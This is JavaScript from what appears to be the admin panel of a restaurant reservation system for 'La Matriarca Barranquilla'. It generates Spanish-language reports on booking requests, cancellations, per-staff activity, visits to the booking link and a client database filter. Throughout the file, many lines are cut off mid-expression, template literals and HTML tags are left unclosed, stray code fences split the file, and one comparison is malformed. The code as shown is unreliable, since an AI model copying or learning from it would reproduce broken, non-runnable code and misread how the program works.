// Por rango de horario en que llegó la solicitud (según horaSolicitud,
// la hora exacta de llegada — no la hora de la reserva pedida).
const rangos = [
  {label:'Antes de las 8:00 am', min:0, max:8, count:0, pax:0},
  {label:'8:00 am – 12:00 pm', min:8, max:12, count:0, pax:0},
  {label:'12:00 pm – 6:00 pm', min:12, max:18, count:0, pax:0},
  {label:'6:00 pm en adelante', min:18, max:24, count:0, pax:0},
];
let conHora = 0;
todasDelMes.forEach(r => {
  if(!r.horaSolicitud) return;
  const d = new Date(r.horaSolicitud);
  if(isNaN(d.getTime())) return;
  conHora++;
  const h = d.getHours();
  const rango = rangos.find(rg => h >= rg.min && h < rg.max);
  if(rango){ rango.count++; rango.pax += Number(r.pax)||0; }
});
const rangoMax = conHora>0 ? rangos.reduce((a,b) => b.count>a.count?b:a, rangos

const filasDia = DIAS_SEMANA.map((nombre,i) => `
  <tr>
    <td>${nombre}${hayDatosDia && i===diaMax ? ' 🔺 <b>el que más recibe</b>' :
    <td style="text-align:center;">${porDiaSemana[i]} · ${porDiaSemanaPax[i]} p
  </tr>`).join('');

const filasRango = rangos.map(rg => `
  <tr>
    <td>${rg.label}${rangoMax===rg && rg.count>0 ? ' 🔺 <b>el rango con más</b>
    <td style="text-align:center;">${rg.count} · ${rg.pax} pax</td>
```

```
  </tr>`).join('');

document.getElementById('informeContenido').innerHTML = `
  <div class="informe-header">
    <h1>La Matriarca Barranquilla — Estadísticas de solicitudes</h1>
    <div class="informe-subtitulo" style="margin-bottom:2px;">${mesLabel}</div>
    <div class="informe-subtitulo" style="margin-bottom:2px;">${rangoLabel}</di
    <div class="informe-subtitulo">Todas las solicitudes recibidas (web y teléf
  </div>
  <div class="ie-total-card">
    <div class="ie-total-num">${totalSolicitudes} · ${totalPax} pax</div>
    <div class="ie-total-label">TOTAL DE SOLICITUDES RECIBIDAS</div>
  </div>
  <div class="informe-turno">
    <h2>📅 Por día de la semana</h2>
    ${totalSolicitudes===0 ? `<div style="font-size:12.5px; color:#777;">No hub
      <thead><tr><th>Día</th><th>Solicitudes · Pax</th></tr></thead>
      <tbody>${filasDia}</tbody>
    </table>`}
  </div>
  <div class="informe-turno">
    <h2>🕐 Por rango de horario de llegada</h2>
    ${conHora===0 ? `<div style="font-size:12.5px; color:#777;">No hay solicitu
      <thead><tr><th>Rango</th><th>Solicitudes · Pax</th></tr></thead>
      <tbody>${filasRango}</tbody>
    </table>`}
    ${(conHora < totalSolicitudes && totalSolicitudes>0) ? `<div style="margin-
  </div>
  <div class="ie-bloque-gestion ie-bloque-general">
    <h2 style="background:none; color:#a33; padding:0; margin-bottom:10px;">🚫
    <div class="ie-fila-metrica"><span>Total de solicitudes recibidas:</span><b
    <div class="ie-fila-metrica"><span>Total de solicitudes canceladas:</span><
    <div class="ie-fila-metrica"><span>Tasa general de cancelación:</span><b st
    <div class="ie-fila-metrica"><span>Total de solicitudes no canceladas:</spa
    <div class="ie-fila-metrica"><span>Tasa de solicitudes no canceladas:</span
    <div class="ie-formula">${canceladas.length} ÷ ${totalSolicitudes||0} × 100
  </div>
  <div class="ie-bloque-gestion ie-bloque-especial">
    <h2 style="background:none; color:#a17a1c; padding:0; margin-bottom:10px;">
    <div class="ie-fila-metrica"><span>Total de solicitudes especiales recibida
    <div class="ie-fila-metrica"><span>Especiales canceladas:</span><b>${especi
    <div class="ie-fila-metrica"><span>Especiales no canceladas:</span><b>${esp
    <div class="ie-fila-metrica"><span>Tasa de cancelación especial:</span><b s
    <div class="ie-fila-metrica"><span>Tasa de no cancelación especial:</span><
    <div class="ie-formula">${especialesCanceladas.length} ÷ ${totalEspeciales|
  </div>
  <div class="ie-bloque-gestion ie-bloque-dato">
```

```
      <div style="display:flex; align-items:center; justify-content:space-between
        <h2 style="background:none; color:#1a1a1a; padding:0; margin:0;">📊 PARTI
        <span class="ie-dato-pill">Dato complementario</span>
      </div>
      <div style="margin-top:10px; font-size:13.5px;">${especialesCanceladas.leng
    </div>
    <div style="margin-top:16px; padding-top:12px; border-top:2px solid #d4af37;
      Cada gestión se mide sobre su propio total.
    </div>`;
  document.getElementById('overlayInforme').classList.add('open');
}
// ===== Informe administrativo: RESPONSABLE (usuario) por mes (v6.60) =====
// ¿Qué reservas hizo cada usuario en el mes? Cuántas quedaron efectivas
// (confirmadas), cuántas siguen activas (confirmadas con fecha por llegar),
// cuántas ya pasaron, cuántas están pendientes, cuántas se vencieron sin
// confirmar y cuántas se cancelaron. "Del mes" = el día en que se HIZO la
// reserva (fechaSolicitud) — igual que los demás informes de solicitudes.
// Responsable = quien creó la reserva; si entró por el link y nadie la
// "creó", quien la gestionó por última vez.
const ESTADOS_PENDIENTES_INFORME = ['solicitud','pendiente','lista_espera','mensa
function responsableDeReserva(r){
  const ini = r.creadoPorIniciales || r.ultimoEditorIniciales || '';
  const nom = r.creadoPorNombre || r.ultimoEditorNombre || '';
  return { ini: ini || '—', nombre: nom || (ini ? ini : 'Sin responsable') };
}
// Llena el selector con los usuarios de Config y, además, con cualquier
// responsable que aparezca en reservas aunque ya no exista como usuario.
function poblarSelectorInformeResponsable(){
  const sel = document.getElementById('fInformeResponsable');
  if(!sel) return;
  const previo = sel.value;
  const mapa = new Map();
  (usuariosCache || []).forEach(u => { if(u.iniciales) mapa.set(u.iniciales, u.no
  reservas.forEach(r => { const x = responsableDeReserva(r); if(x.ini !== '—' &&
  const opciones = [...mapa.entries()].sort((a,b) => a[1].localeCompare(b[1], 'es
  sel.innerHTML = '<option value="__todos__">Todos los usuarios (comparativo)</op
    opciones.map(([ini, nom]) => `<option value="${escapeHtml(ini)}">${escapeHtml
    '<option value="—">Sin responsable (entró por el link)</option>';
  if(previo && [...sel.options].some(o => o.value === previo)) sel.value = previo
}
function generarInformeResponsable(){
  poblarSelectorInformeResponsable();
  const sel = document.getElementById('fInformeResponsable');
  let yearMonth = document.getElementById('fInformeResponsableMes').value;
  if(!yearMonth){
    const hoy = new Date();
    yearMonth = `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padStart(2,'0')}
```

```
  }
  renderInformeResponsable(yearMonth, sel ? sel.value : '__todos__');
}
// Clasifica una reserva en UNA sola categoría (las categorías suman el total).
function categoriaInformeResponsable(r, hoyISO){
  if(r.estado === 'cancelada') return r.vencidaAutomaticamente === true ? 'vencid
  if(r.estado === 'confirmada') return (r.fecha && r.fecha < hoyISO) ? 'yaPaso' :
  if(ESTADOS_PENDIENTES_INFORME.includes(r.estado)) return 'pendiente';
  return 'otra';
}
function renderInformeResponsable(yearMonth, filtroIni){
  const [anio, mes] = yearMonth.split('-').map(Number);
  const mesLabel = `${MESES[mes-1]} ${anio}`;
  const hoyISO = fechaISO(new Date());
  const fechaClave = r => r.fechaSolicitud || r.fecha;
  const delMes = reservas.filter(r => fechaClave(r) && fechaClave(r).startsWith(y
  const sumaPax = arr => arr.reduce((s,r) => s + (Number(r.pax)||0), 0);
  const pct = (a,b) => b > 0 ? (a/b*100).toFixed(0) + '%' : '—';
  const CATS = ['activa','yaPaso','pendiente','vencidaSinConfirmar','cancelada','
  const resumir = arr => {
    const o = { total: arr.length, pax: sumaPax(arr) };
    CATS.forEach(c => o[c] = arr.filter(r => categoriaInformeResponsable(r, hoyIS
    o.efectivas = o.activa + o.yaPaso;
    o.efectivasPax = sumaPax(arr.filter(r => ['activa','yaPaso'].includes(categor
    return o;
  };
  const etiquetaCat = { activa:'Activa (por llegar)', yaPaso:'Ya pasó', pendiente
  const colorCat = { activa:'#1f7a52', yaPaso:'#555', pendiente:'#a17a1c', vencid
  const encabezado = (sub) => `
    <div class="informe-header">
      <h1>La Matriarca Barranquilla — Informe por responsable</h1>
      <div class="informe-subtitulo" style="margin-bottom:2px;">${mesLabel}</div>
      <div class="informe-subtitulo">${sub}</div>
    </div>`;
  const pie = `
    <div style="margin-top:16px; padding-top:12px; border-top:2px solid #d4af37;
      "Del mes" = reservas que se HICIERON en ${mesLabel}. Responsable = quien cr
      Efectivas = confirmadas (activas + ya pasaron). Activa = confirmada con fec
    </div>`;

  // ---- Comparativo: todos los usuarios
  if(filtroIni === '__todos__'){
    const grupos = new Map();
    delMes.forEach(r => {
      const x = responsableDeReserva(r);
      if(!grupos.has(x.ini)) grupos.set(x.ini, { nombre: x.nombre, arr: [] });
      grupos.get(x.ini).arr.push(r);
```

```
  });
  const filas = [...grupos.entries()].map(([ini, g]) => ({ ini, nombre: g.nombr
    .sort((a,b) => b.total - a.total);
  const tot = resumir(delMes);
  const celda = n => `<td style="text-align:center;">${n}</td>`;
  const filasHtml = filas.map(f => `<tr>
    <td><b>${escapeHtml(f.ini === '—' ? 'Link' : f.ini)}</b> ${escapeHtml(f.ini
    ${celda(f.total)}${celda(f.efectivas)}${celda(f.activa)}${celda(f.yaPaso)}$
    <td style="text-align:center;">${pct(f.efectivas, f.total)}</td></tr>`).joi
  document.getElementById('informeContenido').innerHTML = encabezado('Comparati
    <div class="ie-total-card">
      <div class="ie-total-num">${tot.total} · ${tot.pax} pax</div>
      <div class="ie-total-label">RESERVAS HECHAS EN EL MES (TODOS)</div>
    </div>
    <div class="informe-turno">
      <h2>👥 Por usuario</h2>
      ${tot.total === 0 ? `<div style="font-size:12.5px; color:#777;">No hubo r
      <table>
        <thead><tr><th>Usuario</th><th>Hechas</th><th>Efectivas</th><th>Activas
        <tbody>${filasHtml}
          <tr style="font-weight:700; border-top:2px solid #d4af37;"><td>TOTAL<
        </tbody>
      </table>`}
    </div>` + pie;
  document.getElementById('overlayInforme').classList.add('open');
  return;
}

// ---- Un solo usuario
const mias = delMes.filter(r => responsableDeReserva(r).ini === filtroIni);
const nombreSel = mias.length ? responsableDeReserva(mias[0]).nombre
  : (((usuariosCache||[]).find(u => u.iniciales === filtroIni) || {}).nombre ||
const tituloUsuario = filtroIni === '—' ? 'Sin responsable (entró por el link)'
const t = resumir(mias);
// Por mes de la fecha de la reserva (cuántas vencen en cada mes).
const porMes = {};
mias.forEach(r => {
  const k = (r.fecha || '').slice(0,7) || 'sin fecha';
  const o = porMes[k] = porMes[k] || { total:0, efectivas:0, activas:0 };
  o.total++;
  const c = categoriaInformeResponsable(r, hoyISO);
  if(c === 'activa' || c === 'yaPaso') o.efectivas++;
  if(c === 'activa') o.activas++;
});
const filasMes = Object.keys(porMes).sort().map(k => {
  const [y,m] = k.split('-').map(Number);
  const nombre = isNaN(m) ? k : `${MESES[m-1]} ${y}`;
```

```
  const o = porMes[k];
  return `<tr><td>${escapeHtml(nombre)}</td><td style="text-align:center;">${o.
}).join('');
const ordenadas = mias.slice().sort((a,b) => (a.fecha||'').localeCompare(b.fech
const filasDetalle = ordenadas.map(r => {
  const c = categoriaInformeResponsable(r, hoyISO);
  return `<tr>
    <td>${escapeHtml(formatearFechaCorta(r.fecha||''))}<br><span style="color:#
    <td>${escapeHtml(r.nombre||'')}${Number(r.pax)>=20?' ⭐':''}</td>
    <td style="text-align:center;">${Number(r.pax)||0}</td>
    <td style="color:${colorCat[c]}; font-weight:700;">${etiquetaCat[c]}</td>
    <td style="font-size:11px; color:#777;">${escapeHtml(r.codigoReserva||'')}<
  </tr>`;
}).join('');
const fila = (txt, n, pax, color) => `<div class="ie-fila-metrica"><span>${txt}
const paxDe = c => sumaPax(mias.filter(r => categoriaInformeResponsable(r, hoyI
document.getElementById('informeContenido').innerHTML = encabezado(escapeHtml(t
  <div class="ie-total-card">
    <div class="ie-total-num">${t.total} · ${t.pax} pax</div>
    <div class="ie-total-label">RESERVAS QUE HIZO EN EL MES</div>
  </div>
  <div class="ie-bloque-gestion">
    <h2 style="background:none; color:#1a1a1a; padding:0; margin-bottom:10px; f
    ${fila('Efectivas (confirmadas):', t.efectivas, t.efectivasPax, '#1f7a52')}
    ${fila('  ↳ Activas, todavía por llegar:', t.activa, paxDe('activ
    ${fila('  ↳ Ya pasaron (fecha vencida):', t.yaPaso, paxDe('yaPaso
    ${fila('Pendientes por confirmar:', t.pendiente, paxDe('pendiente'), '#a17a
    ${fila('Vencieron sin confirmar:', t.vencidaSinConfirmar, paxDe('vencidaSin
    ${fila('Canceladas:', t.cancelada, paxDe('cancelada'), '#a33')}
    ${t.otra ? fila('Otras:', t.otra, paxDe('otra')) : ''}
    <div class="ie-fila-metrica" style="border-top:1px solid #ddd; margin-top:6
    <div class="ie-formula">${t.efectivas} ÷ ${t.total||0} × 100</div>
  </div>
  <div class="informe-turno">
    <h2>📅 Por mes de la fecha de la reserva</h2>
    ${t.total === 0 ? `<div style="font-size:12.5px; color:#777;">No hizo reser
    <table>
      <thead><tr><th>Mes de la reserva</th><th>Hechas</th><th>Efectivas</th><th
      <tbody>${filasMes}</tbody>
    </table>`}
  </div>
  <div class="informe-turno">
    <h2>🧾 Detalle de reservas</h2>
    ${t.total === 0 ? '' : `
    <table>
      <thead><tr><th>Reserva</th><th>Cliente</th><th>Pax</th><th>Estado</th><th
      <tbody>${filasDetalle}</tbody>
```

```
      </table>`}
    </div>` + pie;
  document.getElementById('overlayInforme').classList.add('open');
}
// ===== Informe administrativo: INGRESOS AL LINK de solicitudes (v6.52) =====
// Lee la colección `visitasFormulario` que escribe solicitud.html (una por
// cada apertura del formulario): cuántos entran, a qué hora, hasta qué paso
// llegan y quiénes dejaron el celular sin terminar. Además cruza con las
// solicitudes ya registradas (reservas con pasoPorSolicitud) para comparar
// día y hora — esas existen desde antes, así que el cuadro de "solicitudes"
// ya trae historia aunque los ingresos al link apenas empiecen a contarse.
function generarInformeIngresosLink(){
  const mes = document.getElementById('fInformeLinkMes').value;
  const dia = document.getElementById('fInformeLinkDia').value;
  const hoy = new Date();
  const yearMonth = mes || `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padSt
  const ini = dia || (yearMonth + '-01');
  const fin = dia || (yearMonth + '-31');
  const btn = document.getElementById('btnInformeLink');
  if(btn){ btn.disabled = true; btn.textContent = 'Generando…'; }
  db.collection('visitasFormulario').where('fecha','>=',ini).where('fecha','<=',f
    renderInformeIngresosLink(snap.docs.map(d => d.data()), ini, fin, !!dia, year
  }).catch(err => {
    console.error('Informe ingresos al link:', err);
    alert('No se pudo leer los ingresos al link' + (err && err.code === 'permissi
  }).finally(() => { if(btn){ btn.disabled = false; btn.textContent = '🔗 Generar
}
function renderInformeIngresosLink(visitas, ini, fin, esDia, yearMonth){
  const soloDig = t => String(t||'').replace(/\D/g,'');
  const etiqHora = h => (h % 12 === 0 ? 12 : h % 12) + ':00 ' + (h < 12 ? 'a. m.'
  const pct = (a,b) => b > 0 ? (a/b*100).toFixed(0) + '%' : '—';
  const [a0, m0] = yearMonth.split('-').map(Number);
  const titulo = esDia ? formatearFechaCorta(ini) + ' de ' + a0 : `${MESES[m0-1]}
  const total = visitas.length;
  const conTel = visitas.filter(v => v.celular).length;
  const llegoHora = visitas.filter(v => v.paso === 'hora_confirmada' || v.paso ==
  const enviaron = visitas.filter(v => v.enviada === true).length;
  const conError = visitas.filter(v => v.errorCodigo && v.enviada !== true).lengt
  // Tres grupos que NO se cruzan y suman el total de ingresos:
  const soloAbrieron = visitas.filter(v => !v.celular && v.enviada !== true).leng
  const telSinTerminar = visitas.filter(v => v.celular && v.enviada !== true).len
  const telSinTerminarHora = visitas.filter(v => v.celular && v.enviada !== true

  // Solicitudes ya registradas (reservas) en el mismo rango, por día de llegada
  const clave = r => r.fechaSolicitud || r.fecha;
  const sols = reservas.filter(r => r.pasoPorSolicitud === true && clave(r) && cl
  const solPorDia = {}, solPorHora = new Array(24).fill(0);
```

```
sols.forEach(r => {
  solPorDia[clave(r)] = (solPorDia[clave(r)]||0) + 1;
  if(r.horaSolicitud){ const d = new Date(r.horaSolicitud); if(!isNaN(d.getTime
});

// Por día
const dias = {};
visitas.forEach(v => {
  const o = dias[v.fecha] = dias[v.fecha] || { ing:0, tel:0, env:0 };
  o.ing++; if(v.enviada === true) o.env++; else if(v.celular) o.tel++;
});
Object.keys(solPorDia).forEach(f => { dias[f] = dias[f] || { ing:0, tel:0, env:
const listaDias = Object.keys(dias).sort();
const filasDia = listaDias.map(f => {
  const o = dias[f]; const [y,m,d] = f.split('-').map(Number);
  return `<tr><td>${DIAS_CORTO[new Date(y,m-1,d,12).getDay()]} ${d}</td><td sty
}).join('');

// Por hora del día
const horas = Array.from({length:24}, () => ({ ing:0, tel:0, env:0 }));
visitas.forEach(v => {
  const h = new Date(Number(v.creadoEn)||0).getHours();
  if(!(Number(v.creadoEn) > 0)) return;
  horas[h].ing++; if(v.enviada === true) horas[h].env++; else if(v.celular) hor
});
let pico = -1, maxIng = 0;
horas.forEach((o,h) => { if(o.ing > maxIng){ maxIng = o.ing; pico = h; } });
const filasHora = horas.map((o,h) => (o.ing||solPorHora[h]) ? `<tr><td>${etiqHo

// Errores
const errores = {};
visitas.forEach(v => { if(v.errorCodigo && v.enviada !== true) errores[v.errorC
const filasError = Object.keys(errores).sort((a,b) => errores[b]-errores[a]).ma

// Dejaron el celular y no terminaron (último intento por celular, sin solicitu
const enviaronTel = new Set(visitas.filter(v => v.enviada === true && v.celular
const ultimaPorTel = {};
visitas.filter(v => v.celular && v.enviada !== true && !enviaronTel.has(v.celul
  if(!ultimaPorTel[v.celular] || Number(v.creadoEn) > Number(ultimaPorTel[v.cel
});
const yaTieneSolicitud = (cel, fecha) => reservas.some(r => r.pasoPorSolicitud
const pendientes = Object.values(ultimaPorTel).filter(v => !yaTieneSolicitud(v.
  .sort((a,b) => Number(b.creadoEn) - Number(a.creadoEn));
const ETIQ_PASO = { telefono:'Dejó el celular', hora_confirmada:'Confirmó la ho
const msjWa = encodeURIComponent('Hola 👋 Vimos que empezaste una solicitud de
const filasPend = pendientes.slice(0, 150).map(v => {
  const d = new Date(Number(v.creadoEn)||0);
```

```
  return `<tr><td>${d.getDate()}/${d.getMonth()+1} ${hostHoraCorta(d.getTime())
}).join('');

const vacio = total === 0;
document.getElementById('informeContenido').innerHTML = `
  <div class="informe-header">
    <h1>La Matriarca Barranquilla — Ingresos al link de solicitudes</h1>
    <div class="informe-subtitulo" style="margin-bottom:2px;">${titulo}</div>
    <div class="informe-subtitulo">Cada vez que alguien abre el formulario cuen
  </div>
  <div class="ie-total-card">
    <div class="ie-total-num">${total}</div>
    <div class="ie-total-label">INGRESOS AL LINK</div>
  </div>
  <div class="informe-turno">
    <h2>🔻 ¿Qué hizo cada persona que abrió el link?</h2>
    ${vacio ? '<div style="font-size:12.5px; color:#777;">Todavía no hay ingres
      <thead><tr><th>Grupo</th><th style="text-align:center;">Clientes</th><th
      <tbody>
        <tr><td>👀 Solo abrieron el link <span style="color:#777;">(no pusieron
        <tr><td>📱 Pusieron el celular y NO terminaron</td><td style="text-alig
        <tr><td>✅ <b>Terminaron y enviaron la solicitud</b></td><td style="tex
        <tr><td><b>Total de ingresos al link</b></td><td style="text-align:cent
      </tbody></table>
      <div style="margin-top:6px; font-size:12px; color:#555;">De los ${telSinT
      <div style="margin-top:4px; font-size:11.5px; color:#777;">Cada apertura
  </div>
  <div class="informe-turno">
    <h2>📅 Por día</h2>
    ${listaDias.length===0 ? '<div style="font-size:12.5px; color:#777;">Sin da
      <thead><tr><th>Día</th><th style="text-align:center;">Ingresos al link</t
      <tbody>${filasDia}</tbody></table>
      <div style="margin-top:6px; font-size:11.5px; color:#777;">"Solicitudes r
  </div>
  <div class="informe-turno">
    <h2>🕐 Por hora del día</h2>
    ${filasHora===''' ? '<div style="font-size:12.5px; color:#777;">Sin datos en
      <thead><tr><th>Hora</th><th style="text-align:center;">Ingresos al link</
      <tbody>${filasHora}</tbody></table>`}
  </div>
  ${filasError ? `<div class="informe-turno"><h2>⚠ Errores al enviar</h2><table
  <div class="informe-turno">
    <h2>📱 Dejaron su celular y no terminaron (${pendientes.length})</h2>
    ${pendientes.length===0 ? '<div style="font-size:12.5px; color:#777;">Ningu
      <thead><tr><th>Cuándo</th><th>Celular</th><th>Se quedó en</th><th></th></
      <tbody>${filasPend}</tbody></table>
      <div style="margin-top:6px; font-size:11.5px; color:#777;">No incluye a q
```

```
    </div>`;
  document.getElementById('overlayInforme').classList.add('open');
}
// Motor común de los dos informes (especiales y general) — la única
// diferencia real entre ambos es el umbral mínimo de pax: 30 para el de
// especiales, 0 (sin filtro) para el general, que incluye TODAS las
// reservas de cualquier tamaño, especiales incluidas.
function renderInformeReservas(yearMonth, tipoInforme, umbralPax){
  const [anio, mes] = yearMonth.split('-').map(Number);
  const esGeneral = umbralPax <= 0;

  // "Reservas aprobadas" = ya confirmadas de verdad (confirmada/pendiente/
  // walk-in) — lo que ya está agendado en el día a día, agrupado por la
  // FECHA DE LA RESERVA (para cuándo es el evento). "Solicitudes" = TODO
  // lo que llegó ese mes, sin importar el canal (web o por teléfono) ni en
  // qué quedó — pero agrupado por el DÍA EN QUE LLEGÓ LA SOLICITUD
  // (fechaSolicitud), no por la fecha de la reserva que están pidiendo:
  // una solicitud que llega hoy para un evento de dentro de tres semanas
  // tiene que aparecer HOY, no en la semana del evento — si no, parecía
  // que ya había solicitudes de días que ni siquiera habían llegado.
  const fechaClave = r => tipoInforme === 'solicitudes' ? (r.fechaSolicitud || r.
  const enElMes = r => { const f = fechaClave(r); return f && f.startsWith(yearMo
  const especiales = reservas
    .filter(r => enElMes(r) && (tipoInforme === 'aprobadas' ? ['confirmada','pend
    .sort((a,b) => (fechaClave(a)+(a.hora||'')).localeCompare(fechaClave(b)+(b.ho

  // Seguimiento aparte de canceladas: en "aprobadas", solo las que SÍ
  // habían llegado a estar aprobadas antes de caerse (para no mezclar con
  // solicitudes que nunca se aprobaron); en "solicitudes", todas las
  // canceladas de ese mes, vinieran de donde vinieran.
  const canceladas = reservas
    .filter(r => enElMes(r) && r.estado === 'cancelada' && (tipoInforme === 'apro
    .sort((a,b) => (fechaClave(a)+(a.hora||'')).localeCompare(fechaClave(b)+(b.ho

  const mesLabel = `${MESES[mes-1]} ${anio}`;
  const baseTitulo = esGeneral ? 'todas las reservas' : 'reservas especiales';
  const tituloInforme = esGeneral
    ? (tipoInforme === 'aprobadas' ? 'Reservas aprobadas — informe general' : 'So
    : (tipoInforme === 'aprobadas' ? 'Reservas especiales aprobadas' : 'Solicitud
  // Nombre del gestor a mostrar (y a agrupar) — mismo criterio que usa el
  // resto de la app: prioriza el nombre completo sobre las iniciales.
  // "Gestionó" = quién respondió/tramitó la solicitud (el último que la
  // tocó) — si nadie la ha editado todavía, se usa quién la creó. Esto es
  // clave para solicitudes que llegan directo del cliente por la web: ahí
  // no hay "creador" del lado del staff, solo queda quién la gestionó.
  const nombreGestor = r => r.ultimoEditorNombre || r.ultimoEditorIniciales || r.
```

```
function lunesDeLaSemana(fechaIso){
  const [y,m,d] = fechaIso.split('-').map(Number);
  const fecha = new Date(y, m-1, d, 12);
  const dow = fecha.getDay(); // 0=domingo … 6=sábado
  const diff = (dow === 0 ? -6 : 1 - dow);
  fecha.setDate(fecha.getDate() + diff);
  return fecha;
}
function agruparPorSemana(lista){
  const mapa = new Map();
  lista.forEach(r => {
    const key = fechaISO(lunesDeLaSemana(fechaClave(r)));
    if(!mapa.has(key)) mapa.set(key, []);
    mapa.get(key).push(r);
  });
  return mapa;
}
const semanasMap = agruparPorSemana(especiales);
const semanasCanceladasMap = agruparPorSemana(canceladas);
// Unión de semanas: una semana puede tener solo canceladas y ninguna
// activa (o al revés), y de todas formas tiene que aparecer.
const semanasKeys = Array.from(new Set([...semanasMap.keys(), ...semanasCancela

// Ranking de "quién gestionó cuántas" — ya no en una sola línea, sino
// una lista ordenada de mayor a menor, con el puesto (1°, 2°, 3°…), para
// ver de un vistazo quién lleva más solicitudes o aprobaciones.
function rankingPorGestor(grupo){
  if(grupo.length === 0) return '<div style="font-size:12px; color:#777;">— sin
  const conteo = new Map();
  grupo.forEach(r => {
    const nombre = nombreGestor(r);
    conteo.set(nombre, (conteo.get(nombre)||0) + 1);
  });
  const ordenado = Array.from(conteo.entries()).sort((a,b) => b[1]-a[1]);
  const medallas = ['🥇','🥈','🥉'];
  const filas = ordenado.map(([nombre, cant], i) => `
    <div style="display:flex; justify-content:space-between; padding:3px 0; fon
      <span>${medallas[i]||`${i+1}°`} ${escapeHtml(nombre)}</span>
      <span><b>${cant}</b> reserva${cant===1?'':'s'}</span>
    </div>`).join('');
  return `<div style="margin-top:2px;">${filas}</div>`;
}

let semanasHtml = '';
semanasKeys.forEach((key, i) => {
  const grupo = semanasMap.get(key) || [];
  const grupoCancel = semanasCanceladasMap.get(key) || [];
```

```
const [y,m,d] = key.split('-').map(Number);
const lunes = new Date(y, m-1, d, 12);
const domingo = new Date(lunes); domingo.setDate(lunes.getDate()+6);
const rangoLabel = `${lunes.getDate()} al ${domingo.getDate()} de ${MESES[dom
const abonoSemana = grupo.reduce((a,r)=>a+Number(r.abono||0),0);
const paxSemana = grupo.reduce((a,r)=>a+Number(r.pax||0),0);
const filas = grupo.map(r => `
  <tr>
    <td>${formatearFechaLarga(fechaClave(r))}</td>
    ${tipoInforme==='solicitudes' ? `<td>${formatearFechaLarga(r.fecha)}</td>
    <td>${escapeHtml(r.nombre||'—')}</td>
    <td>${escapeHtml(r.hora||'—')}${r.horaSalida?' → '+escapeHtml(r.horaSalid
    <td style="text-align:center;">${r.pax}${!esGeneral || Number(r.pax)>=30
    <td>${escapeHtml(nombreGestor(r))}</td>
    <td style="text-align:right;">$${Number(r.abono||0).toLocaleString('es-CO
  </tr>`).join('');
const filasCancel = grupoCancel.map(r => `
  <tr>
    <td>${formatearFechaLarga(fechaClave(r))}</td>
    ${tipoInforme==='solicitudes' ? `<td>${formatearFechaLarga(r.fecha)}</td>
    <td>${escapeHtml(r.nombre||'—')}</td>
    <td style="text-align:center;">${r.pax}${Number(r.pax)>=30 ? ' ⭐' : ''}<
    <td>${escapeHtml(nombreGestor(r))}</td>
    <td>${escapeHtml(r.motivoCancelacion || '— sin motivo registrado —')}</td
  </tr>`).join('');
const encFecha = tipoInforme==='solicitudes' ? 'Fecha solicitud' : 'Fecha';
const encFechaExtra = tipoInforme==='solicitudes' ? '<th>Fecha reserva</th>'
const tablaPrincipal = grupo.length === 0
  ? `<div style="font-size:12.5px; color:#777; margin-bottom:8px;">Sin ${tipo
  : `<table>
      <thead><tr><th>${encFecha}</th>${encFechaExtra}<th>Cliente</th><th>Hora
      <tbody>${filas}</tbody>
    </table>`;
const bloqueCancel = grupoCancel.length === 0 ? '' : `
    <div style="margin-top:14px; padding:8px 10px; background:#fdf2f2; border
      <div style="font-size:13px; font-weight:700; color:#a33; margin-bottom:
      <table><thead><tr><th>${encFecha}</th>${encFechaExtra}<th>Cliente</th><
      <tbody>${filasCancel}</tbody></table>
    </div>`;
semanasHtml += `
  <div class="informe-turno">
    <h2>Semana ${i+1} — ${rangoLabel}</h2>
    ${tablaPrincipal}
    ${grupo.length>0 ? `<div style="margin-top:6px; font-size:12px;"><b>Subto
    ${grupo.length>0 ? `<div style="margin-top:8px; font-size:12.5px; font-we
    ${bloqueCancel}
  </div>`;
```

```
  });

  const totalReservasMes = especiales.length;
  const totalPaxMes = especiales.reduce((a,r)=>a+Number(r.pax||0),0);
  const totalAbonoMes = especiales.reduce((a,r)=>a+Number(r.abono||0),0);
  const totalCanceladasMes = canceladas.length;
  const totalPaxCanceladasMes = canceladas.reduce((a,r)=>a+Number(r.pax||0),0);
  const palabraReserva = tipoInforme === 'aprobadas' ? 'reserva' : 'solicitud';
  const filtroLabel = esGeneral ? 'cualquier tamaño de grupo' : '20 o más persona

  if(especiales.length === 0 && canceladas.length === 0){
    semanasHtml = `<div style="color:#555; font-size:13px;">No hubo ${palabraRese
  }

  document.getElementById('informeContenido').innerHTML = `
    <div class="informe-header">
      <h1>La Matriarca Barranquilla — ${tituloInforme}</h1>
      <div class="informe-subtitulo">${mesLabel} · ${filtroLabel} · Semanas de lu
    </div>
    ${semanasHtml}
    <div style="margin-top:16px; padding-top:12px; border-top:2px solid #d4af37;
      <b>Total del mes (${mesLabel}):</b> ${totalReservasMes} ${palabraReserva}${
    </div>
    ${totalReservasMes>0 ? `<div style="margin-top:8px; font-size:13px; font-weig
    <div style="margin-top:16px; padding:10px 12px; background:#fdf2f2; border-ra
      <div style="font-size:13.5px; font-weight:700; color:#a33;">🚫 Total cancel
    </div>
    <div style="margin-top:8px; font-size:11.5px; color:#777;">${tipoInforme==='a
  document.getElementById('overlayInforme').classList.add('open');
}

/* ============ BASE DE DATOS DE CLIENTES ============ */
function abrirBaseDatosClientes(){
  document.getElementById('clientesBusqueda').value = '';
  document.getElementById('clientesFiltroTipo').value = 'todos';
  actualizarFiltroClientesUI();
  renderTablaClientes();
  document.getElementById('overlayClientes').classList.add('open');
}
function cerrarBaseDatosClientes(){
  document.getElementById('overlayClientes').classList.remove('open');
}
// Cambia qué input extra se muestra según el filtro elegido (mes de
// cumpleaños, mes/año de solicitud, o mínimo de solicitudes).
function actualizarFiltroClientesUI(){
  const tipo = document.getElementById('clientesFiltroTipo').value;
  const wrap = document.getElementById('clientesFiltroValorWrap');
```

```
  if(tipo === 'cumple_mes'){
    wrap.style.display = 'block';
    wrap.innerHTML = `<label>Mes de cumpleaños</label>
      <select id="clientesFiltroMes" onchange="renderTablaClientes()">
        ${MESES.map((m,i)=>`<option value="${i+1}">${m}</option>`).join('')}
      </select>`;
  } else if(tipo === 'periodo'){
    wrap.style.display = 'block';
    wrap.innerHTML = `<label>Mes de la solicitud (primera o última)</label>
      <input type="month" id="clientesFiltroPeriodo" onchange="renderTablaCliente
  } else if(tipo === 'min_solicitudes'){
    wrap.style.display = 'block';
    wrap.innerHTML = `<label>Mínimo de solicitudes realizadas</label>
      <input type="number" id="clientesFiltroMin" min="1" value="2" oninput="rend
  } else {
    wrap.style.display = 'none';
    wrap.innerHTML = '';
  }
  renderTablaClientes();
}
